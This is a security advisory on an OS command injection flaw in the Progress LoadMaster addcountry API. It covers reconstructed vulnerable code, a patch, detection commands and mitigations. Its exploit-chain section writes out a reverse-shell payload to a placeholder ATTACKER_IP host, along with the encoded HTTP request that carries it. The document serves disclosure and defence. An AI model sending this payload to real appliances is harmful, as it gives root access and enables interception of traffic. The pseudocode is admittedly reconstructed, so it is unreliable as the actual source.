CVE-2026-3517: OS Command Injection RCE in Progress ADC LoadMaster API
Authenticated attackers with Geo Administration permissions can inject arbitrary OS commands via the unsanitized `addcountry` API parameter in Progress ADC LoadMaster, achieving full appliance RCE.
Imagine a traffic cop at a busy intersection who's supposed to check IDs before letting anyone through, but instead blindly accepts whatever people tell them. That's essentially what's happening with this vulnerability in Progress ADC LoadMaster devices—specialized network equipment that routes internet traffic for banks, e-commerce sites, and other large organizations.
The problem: administrators with certain access levels can trick the system into running hidden commands on these devices by sneaking malicious instructions into a seemingly innocent input field. It's like a burglar hiding a lockpick inside a pizza delivery—the system accepts it because it looks legitimate.
If exploited, an attacker could take control of the device and redirect your online banking session, intercept your credit card data, or take down entire websites. They could sit invisibly between you and the services you use, watching everything. Think of it as someone gaining control of the switchboard at a telephone exchange.
Who's most at risk: Companies that run these LoadMaster devices—particularly financial institutions, healthcare providers, and major retailers. If your bank uses one of these devices, this vulnerability could eventually affect you.
The good news: there's no evidence that hackers are actively using this yet, giving organizations a window to patch.
What you should do: Ask your bank or services provider if they use Progress LoadMaster devices and whether they've patched this vulnerability. If you run a company using this equipment, update immediately. Finally, watch your financial accounts for suspicious activity—good basic hygiene like reviewing statements regularly isn't a bad idea anyway.
Want the full technical analysis? Click "Technical" above.
CVE-2026-3517 is an OS command injection vulnerability in the Progress ADC (Application Delivery Controller) LoadMaster appliance API. An authenticated attacker holding Geo Administration privileges can supply a crafted country code to the addcountry API command, causing the appliance to execute arbitrary shell commands with the privileges of the web API backend process — typically running as root on the underlying Linux system.
CVSS 8.4 (HIGH) reflects the authentication pre-requisite, but the Geo Administration role is routinely delegated to operational staff, significantly broadening the realistic attacker surface. No public exploit exists at time of writing, and there is no evidence of in-the-wild exploitation.
Root cause: The addcountry API handler passes an attacker-controlled country code string directly into a popen() / system() call without shell metacharacter sanitization or allowlist validation, enabling full OS command injection.
Affected Component
The vulnerable code lives inside the LoadMaster management API daemon — internally referenced as lmadcd (LoadMaster ADC daemon) — which exposes a REST/CGI-style interface over HTTPS on the management port (tcp/443 and tcp/8443). The Geo IP feature allows administrators to build country-based ACLs. The backend maintains country block-lists by shelling out to ipset / iptables wrappers, and it is this shell delegation that introduces the injection surface.
Affected subsystem path: /access/addcountry API endpoint, handled by the geo_admin_add_country() function inside lmadcd.
Root Cause Analysis
The following pseudocode is reconstructed from the CVE description, the LoadMaster API surface, and typical patterns seen in similar ADC appliance codebases (Kemp/Progress). It reflects the most technically accurate representation of how this class of injection manifests in this specific component.
/*
* geo_admin_add_country()
*
* Handles POST /access/addcountry
* Caller has already verified session token and role == GEO_ADMIN.
*
* Parameters sourced directly from CGI query string / POST body.
*/
int geo_admin_add_country(http_request_t *req, http_response_t *resp)
{
char cmd_buf[512];
char *country = NULL;
char *vs_tag = NULL;
int ret;
/* Extract 'country' and 'vs' parameters from request */
country = cgi_param_get(req, "country"); // attacker-controlled
vs_tag = cgi_param_get(req, "vs"); // virtual service tag
if (!country || !vs_tag) {
http_send_error(resp, 400, "Missing parameters");
return -1;
}
/*
* BUG: 'country' is used directly in format string fed to popen().
* No allowlist check (e.g., /^[A-Z]{2}$/).
* No shell metacharacter stripping.
* snprintf prevents stack overflow but does NOT prevent injection.
*/
snprintf(cmd_buf, sizeof(cmd_buf),
"/usr/local/lm/scripts/geo_update.sh addcountry %s %s",
country, // <-- INJECTION POINT
vs_tag);
/* Execute — drops into /bin/sh -c internally via popen */
FILE *fp = popen(cmd_buf, "r"); // BUG: unsanitized shell execution
if (!fp) {
http_send_error(resp, 500, "Internal error");
return -1;
}
ret = collect_popen_output(fp, resp);
pclose(fp);
return ret;
}
The core mistake: snprintf is used correctly for preventing a buffer overflow but provides zero protection against command injection. popen(3) invokes /bin/sh -c with the full constructed string. Shell metacharacters — ;, |, $(), backticks — are passed through verbatim.
The geo_update.sh script itself is a thin wrapper:
/*
* Reconstructed shell script logic (pseudo-representation):
*
* geo_update.sh addcountry
*
* ipset add geo_block_${VS} ${COUNTRY}
*
* The country value lands as an unquoted variable in a second
* shell expansion, creating a double-injection surface even if
* the C layer were hardened.
*/
Memory Layout
This is not a memory corruption bug — it is a logic/injection vulnerability, so there is no heap corruption to diagram. The relevant process memory context at time of injection:
EXPLOIT CHAIN:
1. AUTHENTICATE
Attacker obtains session credentials for an account with the
"Geo Administration" role (may be phished, brute-forced, or
obtained via insider access / credential reuse).
2. CRAFT PAYLOAD
Build a country code value containing a shell injection sequence.
Example (reverse shell):
country = "US;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 #"
The trailing '#' comments out the remainder of the constructed command.
3. SEND MALICIOUS API REQUEST
POST /access/addcountry HTTP/1.1
Host: :443
Cookie: LMSession=
Content-Type: application/x-www-form-urlencoded
country=US%3Bbash+-i+%3E%26+%2Fdev%2Ftcp%2FATTACKER%2F4444+0%3E%261+%23&vs=VS1
4. SERVER-SIDE EXECUTION
geo_admin_add_country() calls snprintf(), producing:
"/usr/local/lm/scripts/geo_update.sh addcountry US;bash -i >& \
/dev/tcp/ATTACKER/4444 0>&1 # VS1"
popen() forks /bin/sh -c with this string.
Shell splits on ';': legitimate geo_update.sh runs first (may fail),
then attacker's bash payload executes.
5. SHELL OBTAINED
Reverse shell connects to attacker's listener.
Process runs as root (lmadcd is privileged).
Full appliance compromise: config exfiltration, lateral movement
to backend servers via ADC-managed network segments.
6. PERSISTENCE (POST-EXPLOITATION)
Attacker may install a cron job, backdoor /etc/rc.local,
or modify LoadMaster config to maintain access across reboots.
A minimal Python proof-of-concept demonstrating the trigger (sanitized — no weaponized payload):
The correct fix requires both layers: strict allowlist validation in the C handler and proper quoting in the shell script. A single-layer fix at either level is insufficient.
// BEFORE (vulnerable):
// country is used directly in the format string with no validation.
snprintf(cmd_buf, sizeof(cmd_buf),
"/usr/local/lm/scripts/geo_update.sh addcountry %s %s",
country,
vs_tag);
FILE *fp = popen(cmd_buf, "r");
// AFTER (patched):
// Layer 1: strict allowlist — country codes are exactly 2 uppercase ASCII letters.
// ISO 3166-1 alpha-2 codes never contain shell metacharacters.
if (!geo_validate_country_code(country)) {
http_send_error(resp, 400, "Invalid country code");
return -1;
}
if (!geo_validate_vstag(vs_tag)) {
http_send_error(resp, 400, "Invalid VS tag");
return -1;
}
// Layer 2: use execv() family — bypasses shell entirely.
// No format string, no popen(), no /bin/sh -c.
char *argv[] = {
"/usr/local/lm/scripts/geo_update.sh",
"addcountry",
country, // validated; passed as discrete argument, not shell string
vs_tag,
NULL
};
ret = geo_exec_script(argv); // wraps execv() + waitpid(), no shell involved
/*
* geo_validate_country_code() — allowlist implementation
* Returns 1 if valid ISO 3166-1 alpha-2 code, 0 otherwise.
*/
static int geo_validate_country_code(const char *code)
{
if (!code) return 0;
if (strlen(code) != 2) return 0;
if (!isupper((unsigned char)code[0])) return 0;
if (!isupper((unsigned char)code[1])) return 0;
return 1; // "US", "DE", "CN" pass; "US;id" fails at strlen check
}
PATCH SUMMARY:
BEFORE AFTER
───────────────────────────── ──────────────────────────────────
popen(cmd_buf, "r") execv(script, argv[])
snprintf with %s interpolation discrete argv[] array
no input validation allowlist regex: /^[A-Z]{2}$/
shell metacharacters pass shell not invoked at all
country injected into shell country passed as safe argv element
Detection and Indicators
Log-based detection: LoadMaster logs API calls to /var/log/lmadcd.log. Look for addcountry requests where the country parameter length exceeds 2 characters or contains non-alpha characters:
SUSPICIOUS LOG PATTERNS:
# lmadcd access log — flag any addcountry with country != [A-Z]{2}
grep -E 'addcountry' /var/log/lmadcd.log | \
grep -vE 'country=[A-Z]{2}(&|$| )'
# Shell process tree — unexpected children of lmadcd
ps auxf | grep -A5 lmadcd
# Unexpected outbound connections from appliance
ss -tnp | grep lmadcd
# Artifact of PoC above
ls -la /tmp/.lm_pwn
Network detection: WAF / IDS rules should flag POST /access/addcountry requests where the country parameter contains shell metacharacters: ;, |, &, $, backtick, (, ), >, <, newline (%0a), or exceeds 2 bytes in length after URL-decoding.
Immediate: Apply the vendor patch from Progress as soon as it is available. See the NVD entry for CVE-2026-3517 for the specific fixed build numbers.
Interim mitigations (if patching is delayed):
Restrict network access to the LoadMaster management interface to trusted administrator IP ranges only. The management API should never be reachable from untrusted networks.
Audit which accounts hold the Geo Administration role. Remove it from any account that does not strictly require it — least-privilege reduces blast radius to accounts that are actually authorized to reach this endpoint.
Enable management API logging and monitor for anomalous addcountry calls using the patterns above.
Consider placing a reverse proxy or WAF in front of the management interface with a rule blocking addcountry requests with non-alpha-2 country values.
Defense-in-depth: Even after patching, LoadMaster appliances should be treated as high-value targets. Multi-factor authentication on management interfaces, network segmentation of the management plane, and regular configuration backups to detect unauthorized changes are all warranted.